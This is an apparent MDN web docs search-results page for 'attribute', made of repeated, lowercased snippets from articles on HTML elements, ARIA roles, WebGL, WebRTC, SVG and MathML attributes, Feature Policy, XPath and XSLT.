...callbacks that make a call to an external function, updatestyle(), which actually applies the size and color to the element. you'll see that we are passing it this (the custom element itself) as a parameter. connectedcallback() { console.log('custom square element added to page.'); updatestyle(this); }
attributechangedcallback(name, oldvalue, newvalue) { console.log('custom square element
attributes changed.'); updatestyle(this); } in the updatestyle() function itself, we get a reference to the shadow dom using element.shadowroot. from here we use standard dom traversal techniques to find the <style> element inside the shadow dom and then update the css found inside it: function updatestyle(elem) { var shadow = elem.shadowroot; var childnodes = shadow.childnodes; for(var i = 0; i ...
... living standard ...
...And 2 more matches
ValidityState.typeMismatch - Web APIs
the read-only typemismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's type
attribute. if the type
attribute expects specific strings, such as the email and url types and the value don't doesn't conform to the constraints set by the type, the typemismatch property will be true. the email input type expects one or more valid email addresses, depending on whether the multiple
attribute is present. ...
...pemismatch property will be true. the email input type expects one or more valid email addresses, depending on whether the multiple
attribute is present. a valid email address includes an email prefix and a domain, with or without a top level domain. if the value of the email input is not an empty string, a single valid e-mail address, or one or more comma separated email address if the multiple
attribute is present, there is a typemismatch. the url input type expects one or more valid email urls, depending on whether the multiple
attribute is present. a valid url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination. if the value of the url input is not an empty string, a single valid url, or one or more comma separated urls if th...
..., there is a typemismatch. the url input type expects one or more valid email urls, depending on whether the multiple
attribute is present. a valid url includes a protocol, optionally with an ip address, or an optional subdomain, domain, and top level domain combination. if the value of the url input is not an empty string, a single valid url, or one or more comma separated urls if the multiple
attribute is present, there is a typemismatch. ...
...And 2 more matches
Lighting in WebGL - Web APIs
{ position: positionbuffer, normal: normalbuffer, texturecoord: texturecoordbuffer, indices: indexbuffer, }; this should look pretty familiar by now; we create a new buffer, bind it to be the buffer we're working with, then send along our array of vertex normals into the buffer by calling bufferdata(). then we add the code to drawscene() to bind the normals array to a shader
attribute so the shader code can get access to it: // tell webgl how to pull out the normals from // the normal buffer into the vertexnormal
attribute. { const numcomponents = 3; const type = gl.float; const normalize = false; const stride = 0; const offset = 0; gl.bindbuffer(gl.array_buffer, buffers.normal); gl.vertexattribpointer( programinfo.attriblocations.ver...
... normalmatrix); update the shaders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves. the vertex shader the first thing to do is update the vertex shader so it generates a shading value for each vertex based on the ambient lighting as well as the directional lighting. ...
...aders now that all the data the shaders need is available to them, we need to update the code in the shaders themselves. the vertex shader the first thing to do is update the vertex shader so it generates a shading value for each vertex based on the ambient lighting as well as the directional lighting. ...
...And 2 more matches
Using shaders to apply color in WebGL - Web APIs
s. this example uses the glmatrix library to perform its matrix and vertex math. you'll need to include it if you create your own project based on this code. our sample loads a copy from a cdn in our html's <head>. applying color to the vertices in webgl objects are built using sets of vertices, each of which has a position and a color. by default, all other pixels' colors (and all its other
attributes, including position) are computed using interpolation, automatically creating smooth gradients. previously, our vertex shader didn't apply any specific colors to the vertices. between this and the fragment shader assigning the fixed color of white to each pixel, the entire square was rendered as solid white. let's say we want to render a gradient in which each corner of the square is a differen...
...or: colorbuffer, }; } this code starts by creating a javascript array containing four 4-value vectors, one for each vertex color. then a new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. ...
...starts by creating a javascript array containing four 4-value vectors, one for each vertex color. then a new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer. to use these colors, the vertex shader needs to be updated to pull the appropriate color from the color buffer: const vssource = `
attribute vec4 avertexposition;
attribute vec4 avertexcolor; uniform mat4 umodelviewmatrix; uniform mat4 uprojectionmatrix; varying lowp vec4 vcolor; void main(void) { gl_position = uprojectionmatrix * umodelviewmatrix * avertexposition; vcolor = avertexcolor; } `; the key difference here is that for each vertex, we pass its color using a varying to the fragment shader. coloring the fragments as a...
...And 2 more matches
Taking still photos with WebRTC - Web APIs
until that happens, we add an event listener to video for the canplay event, which is delivered when the video playback actually begins. at that point, all the properties in the video object have been configured based on the stream's format. video.addeventlistener('canplay', function(ev){ if (!streaming) { height = video.videoheight / (video.videowidth/width); video.set
attribute('width', width); video.set
attribute('height', height); canvas.set
attribute('width', width); canvas.set
attribute('height', height); streaming = true; } }, false); this callback does nothing unless it's the first time it's been called; this is tested by looking at the value of our streaming variable, which is false the first time this method is run. if th...
...at the value of our streaming variable, which is false the first time this method is run. if this is indeed the first run, we set the video's height based on the size difference between the video's actual size, video.videowidth, and the width at which we're going to render it, width. finally, the width and height of both the video and the canvas are set to match each other by calling element.set
attribute() on each of the two properties on each element, and setting widths and heights as appropriate. finally, we set the streaming variable to true to prevent us from inadvertently running this setup code again. handle clicks on the button to capture a still photo each time the user clicks the startbutton, we need to add an event listener to the button, to be called when the click event is issued: ...
...ng the photo box involves creating an image, then converting it into a format usable by the <img> element that displays the most recently captured frame. that code looks like this: function clearphoto() { var context = canvas.getcontext('2d'); context.fillstyle = "#aaa"; context.fillrect(0, 0, canvas.width, canvas.height); var data = canvas.todataurl('image/png'); photo.set
attribute('src', data); } we start by getting a reference to the hidden <canvas> element that we use for offscreen rendering. next we set the fillstyle to #aaa (a fairly light grey), and fill the entire canvas with that color by calling fillrect(). last in this function, we convert the canvas into a png image and call photo.set
attribute() to make our captured still box display the image. capturing a ...
...And 2 more matches
Example and tutorial: Simple synth keyboard - Web APIs
this lets us provide a set of common values and special strings which the browser may optionally choose to display in some fashion; we provide names for the values 0.0 ("mute") and 1.0 ("100%"). the waveform picker on the right side of the settings bar, we place a label and a <select> element named "waveform"...
...cts "custom" from the waveform picker control. finally, the oscillator list is initialized to ensure that it's ready to receive information identifiying which oscillators are associated with which keys. creating a key the createkey() function is called once for each key that we want to present in the virtual keyboard. it creates the elements that comprise the key and its label, adds some data
attributes to the element for later use, and assigns event handlers for the events we care about. function createkey(note, octave, freq) { let keyelement = document.createelement("div"); let labelelement = document.createelement("div"); keyelement.classname = "key"; keyelement.dataset["octave"] = octave; keyelement.dataset["note"] = note; keyelement.dataset["frequency"] = freq; labelelemen...
...lement.addeventlistener("mouseup", notereleased, false); keyelement.addeventlistener("mouseover", notepressed, false); keyelement.addeventlistener("mouseleave", notereleased, false); return keyelement; } after creating the elements that will represent the key and its label, we configure the key's element by setting its class to "key" (which establishes its appearance). then we add data-*
attributes which contain the key's octave (
attribute data-octave), string representing the note to play (
attribute data-note), and frequency (
attribute data-frequency) in hertz. this will let us easily fetch that information as needed when handling events. making music playing a tone the playtone() function's job is to play a tone at the given frequency. this will be used by the handler for events trigg...
...And 2 more matches
ARIA: cell role - Accessibility
to be supported, the cell must be nested in an element with the role of row. <div role="row"> <span role="cell">france</span> <span role="cell">67 million</span> </div> a better, more semantic way of writing the cells above would be to use the semantic <td> element. <tr role="row"> <td role="cell">france</td> <td role="cell">67 million</td> </tr> description the element with role="cell" is a cell within a row, optionally within a rowgroup, within a grid, table or treegrid within a static tabular structure. using native html <td> elements, whenever possible, is strongly encouraged. ...
...w, in turn, can be nested within an element with role="rowgroup", and should be nested within a grid, table or treegrid. if a cell contains column or row header information, use the colheader or rowheader roles, respecitively. if the cell does not contain header information and is nested in a grid or treegrid, the role of gridcell may be more appropriate. a cell can contain a number of property
attributes clarifying the cell's position within the tabular data structure, including aria-colindex, aria-colspan, aria-rowindex, and aria-rowspan. using the native html table element (<table>) along with the table row element (<tr>) and table cell element (<td>) whenever possible is strongly encouraged. associated wai-aria roles, states, and properties context roles role="row" an element with r...
... role establishes a relationship between it and all cells in the corresponding column. role="rowheader" a header cell that is the structural equivalent of the html <th> element with a row scope. unlike a plain cell, the rowheader role establishes a relationship between it and all cells in the corresponding row. ...
...And 2 more matches
ARIA: gridcell role - Accessibility
role="gridcell">potato</div> <div role="gridcell">cabbage</div> <div role="gridcell">onion</div> elements that have role="gridcell" applied to them must be the child of an element with a role of row. ...
... row. <div role="row"> <div role="gridcell">jane</div> <div role="gridcell">smith</div> <div role="gridcell">496-619-5098</div> … </div> the first rule of aria is if a native html element or
attribute has the semantics and behavior you require, use it instead of re-purposing an element and adding aria. instead use the native html td element in conjunction with the and contenteditable
attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed. use aria-colindex to descr...
...t allows assistive technology to understand the position and relationship of the gridcell element to the rest of the table-style grouping of content. interactive grids and treegrids editable cells both td elements and elements with a role of gridcell applied to them can be made editable, mimicking functionality similar to editing a spreadsheet. this is done by applying the html contenteditable
attribute. <td contenteditable="true">notes</td> <div role="gridcell" contenteditable="true">item cost</div> contenteditable will make the element it is applied to focusable via the tab key. if a gridcell is conditionally toggled into a state where editing is prohibited, toggle aria-readonly on the gridcell element. expandable cells in a treegrid, gridcells may be made expandable by toggling the ari...
...And 2 more matches
ARIA: listbox role - Accessibility
an aria-selected value of true or not. takes the value of only one id, even in a multiselectable listbox. if the id does not refer to a dom descendant of the listbox, then that id must be included among the ids in the aria-owns attrubute. aria-owns this is a space-separated list of element ids which are not dom child elements of the listbox. ids listed here cannot also be listed in aria-owns
attributes of any other elements. aria-multiselectable include and set to true if the user can select more than one option. if set to true, every selectable option should have an aria-selected
attribute included and set to true or false. options which are not selectable should not have the aria-selected
attribute. if false or omitted, only the currently selected option, if any option is selected, needs...
...ents. aria-multiselectable include and set to true if the user can select more than one option. if set to true, every selectable option should have an aria-selected
attribute included and set to true or false. options which are not selectable should not have the aria-selected
attribute. if false or omitted, only the currently selected option, if any option is selected, needs the aria-selected
attribute, and it must be set to true. aria-required a boolean
attribute which indicates that an option with a non-empty string value must be selected. aria-readonly the user cannot change which options are selected or unselected, but the listbox is otherwise operable. aria-label a human-readable string value which identifies the listbox. if there's a visible label, then aria-labelledby should be us...
...to the last option. control + a (optional): selects all options in the list. optionally, if all options are selected, it may also unselect all options. required javascript features selecting an option in a single select listbox when the user selects an option, the following must occur: deselect the previously selected option, setting the aria-selected to false, or removing the
attribute altogether, changing the appearance of the newly unselected option to appear not selected. select the newly selected option, setting aria-selected="true" on the option and changing the appearance of the newly selected option to appear selected. update the aria-activedescendant value on the listbox to the id of the newly selected option visually handle the blur, focus, and selected states of th...
...And 2 more matches
Media events - Developer guides
nown. emptied the media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it. encrypted the user agent has encountered initialization data in the media data. ended sent when playback completes. error sent when an error occurs. the element's error
attribute contains more information. see htmlmediaelement.error for details. loadeddata the first frame of the media has finished loading. loadedmetadata the media's metadata has finished loading; all
attributes now contain as much useful information as they're going to. loadstart sent when loading of the media begins. mozaudioavailable sent when an audio buf...
...ent when an audio buffer is provided to the audio layer for processing; the buffer contains raw audio samples that may or may not already have been played by the time you receive the event. pause sent when the playback state is changed to paused (paused property is true). play sent when the playback state is no longer paused, as a result of the play method, or the autoplay
attribute. playing sent when the media has enough data to start playing, after the play event, but also when recovering from being stalled, when looping media restarts, and after seeked, if it was playing before seeking. progress sent periodically to inform interested parties of progress downloading the media. information about the current amount of the media that has been downloade...
...nough data to start playing, after the play event, but also when recovering from being stalled, when looping media restarts, and after seeked, if it was playing before seeking. progress sent periodically to inform interested parties of progress downloading the media. information about the current amount of the media that has been downloaded is available in the media element's buffered
attribute. ratechange sent when the playback speed changes. seeked sent when a seek operation completes. seeking sent when a seek operation begins. stalled sent when the user agent is trying to fetch media data, but data is unexpectedly not forthcoming. suspend sent when loading of the media is suspended; this may happen either because the downloa...
...And 2 more matches
<input type="hidden"> - HTML: Hypertext Markup Language
o way to make it visible in the page's content. note: there is a live example below the following line of code — if it is working correctly, you should see nothing! <input id="prodid" name="prodid" type="hidden" value="xm234jq"> value a domstring representing the value of the hidden data you want to pass back to the server. events none. supported common
attributes autocomplete idl
attributes value methods none. note: the input and change events do not apply to this input type. hidden inputs cannot be focused even using javascript (e.g. hiddeninput.focus()). value the <input> element's value
attribute holds a domstring that contains the hidden data you want to include when the form is submitted to the server. this spec...
...e server. this specifically can't be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality. do not rely on hidden inputs as a form of security. ...
...'t be edited or seen by the user via the user interface, although you could edit the value via browser developer tools. important: while the value isn't displayed to the user in the page's content, it is visible—and can be edited—using any browser's developer tools or "view source" functionality. do not rely on hidden inputs as a form of security. ...
...And 2 more matches
<li> - HTML: Hypertext Markup Language
element. permitted parents an <ul>, <ol>, or <menu> element. though not a conforming usage, the obsolete <dir> can also be a parent. ...
...>, <ol>, or <menu> element. though not a conforming usage, the obsolete <dir> can also be a parent. implicit aria role listitem when child of an ol, ul or menu permitted aria roles menuitem, menuitemcheckbox, menuitemradio, option, none, presentation, radio, separator, tab, treeitem dom interface htmllielement
attributes this element includes the global
attributes. value this integer
attribute indicates the current ordinal value of the list item as defined by the <ol> element. the only allowed value for this
attribute is a number, even if the list is displayed with roman numerals or letters. list items that follow this one continue numbering from the value set. the value
attribute has no meaning for unordered lists (<ul>) or for menus (<menu>). note:...
...value this integer
attribute indicates the current ordinal value of the list item as defined by the <ol> element. the only allowed value for this
attribute is a number, even if the list is displayed with roman numerals or letters. list items that follow this one continue numbering from the value set. the value
attribute has no meaning for unordered lists (<ul>) or for menus (<menu>). note: this
attribute was deprecated in html4, but reintroduced in html5. type this character
attribute indicates the numbering type: a: lowercase letters a: uppercase letters i: lowercase roman numerals i: uppercase roman numerals 1: numbers this type overrides the one used by its parent <ol> element, if any. ...
...And 2 more matches
<menu> - HTML: Hypertext Markup Language
hr>, <script>, and <template>. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role list permitted aria roles directory, group, listbox, menu, menubar, none, presentation, radiogroup, tablist, toolbar or tree dom interface htmlmenuelement
attributes this element includes the global
attributes. label the name of the menu as shown to the user. used within nested menus, to provide a label through which the submenu can be accessed. must only be specified when the parent element is a <menu> in the context menu state. type this
attribute indicates the kind of menu being declared, and can be one of two values. context : indicates th...
...bel through which the submenu can be accessed. must only be specified when the parent element is a <menu> in the context menu state. type this
attribute indicates the kind of menu being declared, and can be one of two values. context : indicates the popup menu state, which represents a group of commands activated through another element. this might be as a button menu referenced by a menu
attribute of a <button> element, or as context menu for an element with a contextmenu
attribute. this value is the default if the
attribute is missing and the parent element is also a <menu> element. toolbar: indicates the toolbar state, which represents a toolbar consisting of a series of commands for user interaction. this might be in the form of an unordered list of <li> elements, or, if the element h...
... usage notes the <menu> and <ul> elements both represent an unordered list of items. the key difference is that <ul> primarily contains items for display, whilst <menu> is intended for interactive items, to act on. an html menu can be used to create context menus (typically activated by right-clicking another element) or toolbars. ...
...And 2 more matches
<object> - HTML: Hypertext Markup Language
t, or a resource to be handled by a plugin. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. content categories flow content; phrasing content; embedded content, palpable content; if the element has a usemap
attribute, interactive content; listed, submittable form-associated element. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, do...
...t. permitted content zero or more <param> elements, then transparent. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts embedded content. implicit aria role no corresponding role permitted aria roles application, document, image dom interface htmlobjectelement
attributes this element includes the global
attributes. archivehtml 4 onlyobsolete since html5 a space-separated list of uris for archives of resources for the object. borderdeprecated since html4.01obsolete since html5 the width of a border around the control, in pixels. classidhtml 4 onlyobsolete since html5 the uri of the object's implementation. it can be used together with, or in place of, th...
... codebasehtml 4 onlyobsolete since html5 the base path used to resolve relative uris specified by classid, data, or archive. if not specified, the default is the base uri of the current document. codetypehtml 4 onlyobsolete since html5 the content type of the data specified by classid. data the address of the resource as a valid url. ...
...And 2 more matches
<option>: The HTML Option element - HTML: Hypertext Markup Language
tart tag is mandatory. the end tag is optional if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. ...
...l if this element is immediately followed by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement
attributes this element includes the global
attributes. ...
... by another <option> element or an <optgroup>, or if the parent element has no more content. permitted parents a <select>, an <optgroup> or a <datalist> element. implicit aria role option permitted aria roles no role permitted dom interface htmloptionelement
attributes this element includes the global
attributes. disabled if this boolean
attribute is set, this option is not checkable. ...
...And 2 more matches
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
ut must not have an end tag. permitted parents a media element—<audio> or <video>—and it must be placed before any flow content or <track> element. a <picture> element, and it must be placed before the <img> element. implicit aria role no corresponding role permitted aria roles no role permitted dom interface htmlsourceelement
attributes this element includes the global
attributes. media media query of the resource's intended media; this should be used only in a <picture> element. sizes is a list of source sizes that describes the final rendered width of the image represented by the source. each source size consists of a comma-separated list of media condition-length pairs. this information is used by the browser to det...
...y the source. each source size consists of a comma-separated list of media condition-length pairs. this information is used by the browser to determine, before laying the page out, which image defined in srcset to use. please note that sizes will have its effect only if width dimension descriptors are provided with srcset instead of pixel ratio values (200w instead of 2x for example). the sizes
attribute has an effect only when the <source> element is the direct child of a <picture> element. src required for <audio> and <video>, address of the media resource. the value of this
attribute is ignored when the <source> element is placed inside a <picture> element. srcset a list of one or more strings separated by commas indicating a set of possible images represented by the source for the bro...
...ing number directly followed by "x". the default value, if missing, is 1x. each string in the list must have at least a width descriptor or a pixel density descriptor to be valid. among the list, there must be only one string containing the same tuple of width descriptor and pixel density descriptor. the browser chooses the most adequate image to display at a given point of time. ...
...And 2 more matches
data-* - HTML: Hypertext Markup Language
the htmlelement.dataset property gives access to them. ...
...the htmlelement.dataset property gives access to them. ...
...ry information to be exchanged between the html and its dom representation by scripts. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. all such custom data are available via the htmlelement interface of the element the
attribute is set on. the htmlelement.dataset property gives access to them. the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not start with xml, whatever case is used for these letters; the name must not contain any semicolon (u+003a); the name must not contain capital letters. note that the htmlelement.dataset property is a...
...And 2 more matches
dir - HTML: Hypertext Markup Language
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. it can have the following values: ltr, which means left to right and is to be used for languages that are written from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, which lets the user agent decide. ...
... to the right (like english); rtl, which means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, which lets the user agent decide. it uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element. usage notes: this
attribute is mandatory for the <bdo> element where it has a different semantic meaning. this
attribute is not inherited by the <bdi> element. if not set, its value is auto. this
attribute can be overridden by the css properties direction and unicode-bidi, if a css page is active and the element supports these properties. as the directionality of the text is semantically related to its con...
...that way, the text will display correctly even on a browser that doesn't support css or has the css deactivated. the auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database. ...
...And 2 more matches
itemtype - HTML: Hypertext Markup Language
the global
attribute itemtype specifies the url of the vocabulary that will be used to define itemprop's (item properties) in the data structure. itemscope is used to set the scope of where in the data structure the vocabulary set by itemtype will be active. google and other major search engines support the schema.org vocabulary for structured data. this vocabulary defines a standard set of type names and property names. for example, musicevent indicates a concert performance, with startdate and location properties specifying the concert's key details. in this case, musicevent would be the url used by itemtype, with startdate and location as itemprop's which musicevent defines. ...
....org vocabulary for structured data. this vocabulary defines a standard set of type names and property names. for example, musicevent indicates a concert performance, with startdate and location properties specifying the concert's key details. in this case, musicevent would be the url used by itemtype, with startdate and location as itemprop's which musicevent defines. note: more about itemtype
attributes can be found at http://schema.org/thing the itemtype
attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute url, and all defined to use the same vocabulary. the
attribute's value must have at least one token. the item types must all be types defined in applicable specifications (such as schema.org), and must all be define...
... the itemtype
attribute must have a value that is an unordered set of unique tokens which are case-sensitive, each is a valid and absolute url, and all defined to use the same vocabulary. the
attribute's value must have at least one token. the item types must all be types defined in applicable specifications (such as schema.org), and must all be defined to use the same vocabulary. the itemtype
attribute can only be specified on elements which have an itemscope
attribute specified. the itemid
attribute can only be specified on elements which have both an itemscope
attribute and an itemtype
attribute specified. ...
...And 2 more matches
title - HTML: Hypertext Markup Language
the title global
attribute contains text representing advisory information related to the element it belongs to. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title
attributes of the <link>, <abbr>, <input>, and <menuitem> elements. multiline titles the title
attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some cauti...
...>, <input>, and <menuitem> elements. multiline titles the title
attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some caution must be taken, as this means the following renders across two lines: html <p>newlines in <code>title</code> should be taken into account, like <abbr title="this is a multiline title">example</abbr>.</p> result title
attribute inheritance if an element has no title
attribute, then it inherits it from its parent node, which in turn may inherit it from its parent, and so on. if this
attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the tooltip for this element. html <div title="cooltip"> <p>hovering here will show “cooltip”.</p> <p title="">hovering h...
...t node, which in turn may inherit it from its parent, and so on. if this
attribute is set to the empty string, it means its ancestors' titles are irrelevant and shouldn't be used in the tooltip for this element. html <div title="cooltip"> <p>hovering here will show “cooltip”.</p> <p title="">hovering here will show nothing.</p> </div> result accessibility concerns use of the title
attribute is highly problematic for: people using touch-only devices people navigating with keyboards people navigating with assistive technology such as screen readers or magnifiers people experiencing fine motor control impairment people with cognitive concerns this is due to inconsistent browser support, compounded by the additional assistive technology parsing of the browser-rendered page. if ...
...And 2 more matches
Using Feature Policy - HTTP
semicolons. allowlist an allowlist is a list of origins that takes one or more of the following values, separated by spaces: *: the feature will be allowed in this document, and all nested browsing contexts (iframes) regardless of their origin. 'self': the feature will be allowed in this document, and in all nested browsing contexts (iframes) in the same origin. 'src': (in an iframe allow
attribute only) the feature will be allowed in this iframe, as long as the document loaded into it comes from the same origin as the url in the iframe's src
attribute. 'none': the feature is disabled in top-level and nested browsing contexts. <origin(s)>: the feature is allowed for specific origins (for example, https://example.com). origins should be separated by a space. the values * (enable for all ...
...lt in top-level browsing contexts and in nested browsing contexts (iframes) in the same origin. the feature is not allowed in cross-origin documents in nested browsing contexts. 'none': the feature is disabled in top-level and nested browsing contexts. specifying your policy feature policy provides two ways to specify policies to control features: the feature-policy http header. the allow
attribute on <iframe>s. the primary difference between the http header and the allow
attribute is that the allow
attribute only controls features within an iframe. the header controls features in the response and any embedded content within the page. the feature-policy http header you can send the feature-policy http header with the response of a page. the value of this header is a policy to be enforce...
...y sending the http header with a semicolon-separated list of policy directives, or by sending a separate header for each policy. for example, the following are equivalent: feature-policy: unsized-media 'none'; geolocation 'self' https://example.com; camera *; feature-policy: unsized-media 'none' feature-policy: geolocation 'self' https://example.com feature-policy: camera *; the iframe allow
attribute the second way to use feature policy is for controlling content within an iframe. use the allow
attribute to specify a policy list for embedded content. for example, allow all browsing contexts within this iframe to use fullscreen: <iframe src="https://example.com..." allow="fullscreen"></iframe> this is equivalent to: <iframe src="https://example.com..." allow="fullscreen 'src'"></iframe> ...
...And 2 more matches
<mstyle> - MathML
displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. ...
... displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. ...
... displaystyle a boolean value specifying whether more vertical space is used for displayed equations or, if set to false, a more compact layout is used to display formulas. ...
...And 2 more matches
keyTimes - SVG: Scalable Vector Graphics
the keytimes
attribute represents a list of time values used to control the pacing of the animation. each time in the list corresponds to a value in the values
attribute list, and defines when the value is used in the animation. each time value in the keytimes list is specified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the duration of the animation element. ...
... time values used to control the pacing of the animation. each time in the list corresponds to a value in the values
attribute list, and defines when the value is used in the animation. each time value in the keytimes list is specified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the duration of the animation element. ...
...cified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the duration of the animation element. ...
...And 2 more matches
markerHeight - SVG: Scalable Vector Graphics
a value of zero disables rendering of the element and negative values are an error. ...
... a value of zero disables rendering of the element and negative values are an error. ...
... a value of zero disables rendering of the element and negative values are an error. ...
...And 2 more matches
markerWidth - SVG: Scalable Vector Graphics
a value of zero disables rendering of the element and negative values are an error. ...
... a value of zero disables rendering of the element and negative values are an error. ...
... a value of zero disables rendering of the element and negative values are an error. ...
...And 2 more matches
restart - SVG: Scalable Vector Graphics
the restart
attribute specifies whether or not an animation can restart. ...
... the restart
attribute specifies whether or not an animation can restart. ...
...ibute specifies whether or not an animation can restart. ...
...And 2 more matches
rx - SVG: Scalable Vector Graphics
with a value lower or equal to zero the ellipse won't be drawn at all. ...
...with a value lower or equal to zero the ellipse won't be drawn at all. ...
...ry="15"/> <rect x="220" y="120" width="60" height="60" rx="150" ry="15"/> </svg> ellipse for <ellipse>, rx defines the x-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. ...
...And 2 more matches
ry - SVG: Scalable Vector Graphics
with a value lower or equal to zero the ellipse won't be drawn at all. ...
...with a value lower or equal to zero the ellipse won't be drawn at all. ...
...rx="15"/> <rect x="220" y="120" width="60" height="60" ry="150" rx="15"/> </svg> ellipse for <ellipse>, ry defines the y-radius of the shape. with a value lower or equal to zero the ellipse won't be drawn at all. ...
...And 2 more matches
systemLanguage - SVG: Scalable Vector Graphics
the systemlanguage
attribute represents a list of supported language tags. this list is matched against the language defined in the user preferences. 35 elements are using this
attribute: <a>, <altglyph>, <animate>, <animatecolor>, <animatemotion>, <animatetransform>, <audio>, <canvas>, <circle>, <clippath>, <cursor>, <defs>, <discard>, <ellipse>, <foreignobject>, <g>, <iframe>, <image>, <line>, <mask>, <path>, <pattern>, <polygon>, <polyline>, <rect>, <set>, <svg>, <switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47. systemlanguage...
...<switch>, <text>, <textpath>, <tref>, <tspan>, <unknown>, <use>, and <video> usage notes value <language-tags> default value none animatable no <language-tags> the value is a set of comma-separated tokens, each of which must be a language-tag value, as defined in bcp 47. systemlanguage is often used in conjunction with the <switch> element. if the
attribute is used in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases...
...d in other situations, then it represents a simple switch on the given element whether to render the element or not. note: if several alternative language objects are enclosed in a <switch> and none of them matches, this may lead to situations where no content is displayed. it is thus recommended to include a "catch-all" choice at the end of such a <switch> which is acceptable in all cases. the
attribute evaluates to "true" if one of the language tags indicated by user preferences is a case-insensitive match or prefix (followed by a "-") of one of the language tags given in the value of this parameter. otherwise it evaluates to "false". note: the prefix matching rule does not imply that if a user understands a language with a certain tag, that the user will also understand all languages with the...
...And 2 more matches
<script> - SVG: Scalable Vector Graphics
the svg script element allows to add scripts to an svg document. ...
... value type: <string>; default value: application/ecmascript; animatable: no xlink:hr...
... value type: <string>; default value: application/ecmascript; animatable: no xlink:href deprecated since svg 2 the u...
...And 2 more matches
Index - XPath
rmation on using xpath expressions, please see the for further reading section at the end of transforming xml with xslt document. also see the 'axes' section in the xpath spec. 3 ancestor axe, xpath no summary! 4 ancestor-or-self axe, xpath the ancestor-or-self axis indicates the context node and all of its ancestors, including the root node. 5
attribute axe, xpath the
attribute axis indicates the
attributes of the context node. only elements have
attributes. this axis can be abbreviated with the at sign (@). 6 child axe, xpath the child axis indicates the children of the context node. if an xpath expression does not specify an axis, the child axis is understood by default. since only the root node or element nodes ...
... the child axis indicates the children of the context node. if an xpath expression does not specify an axis, the child axis is understood by default. since only the root node or element nodes have children, any other use will select nothing. 7 descendant axe, xpath the descendant axis indicates all of the children of the context node, and all of their children, and so forth. ...
... xpath expression does not specify an axis, the child axis is understood by default. since only the root node or element nodes have children, any other use will select nothing. 7 descendant axe, xpath the descendant axis indicates all of the children of the context node, and all of their children, and so forth.
attribute and namespace nodes are not included - the parent of an
attribute node is an element node, but
attribute nodes are not the children of their parents. 8 descendant-or-self axe, xpath the descendant-or-self axis indicates the context node and all of its descendants.
attribute and namespace nodes are not included - the parent of an
attribute node is an element node, but
attribute nodes are not the children of their parents. 9 follow...
...And 2 more matches
<xsl:number> - XSLT: Extensible Stylesheet Language Transformations
tions, xpath functions, xpath axes the <xsl:number> element counts things sequentially. it can also be used to quickly format a number. syntax <xsl:number count=expression level="single" | "multiple" | "any" from=expression value=expression format=format-string lang=xml:lang-code letter-value="alphabetic" | "traditional" grouping-separator=character grouping-size=number /> required
attributes none. optional
attributes count specifies what in the source tree should be numbered sequentially. it uses an xpath expression. level defines how levels of the source tree should be considered in generating sequential numbers. it has three valid values: single, multiple, and any. the default value is single: single numbers sibling nodes sequentially, as in the items in a li...
...sequentially. it uses an xpath expression. level defines how levels of the source tree should be considered in generating sequential numbers. it has three valid values: single, multiple, and any. the default value is single: single numbers sibling nodes sequentially, as in the items in a list. the processor goes to the first node in the ancestor-or-self axis that matches the count
attribute and then counts that node plus all its preceding siblings (stopping when it reaches a match to the from
attribute, if there is one) that also match the count
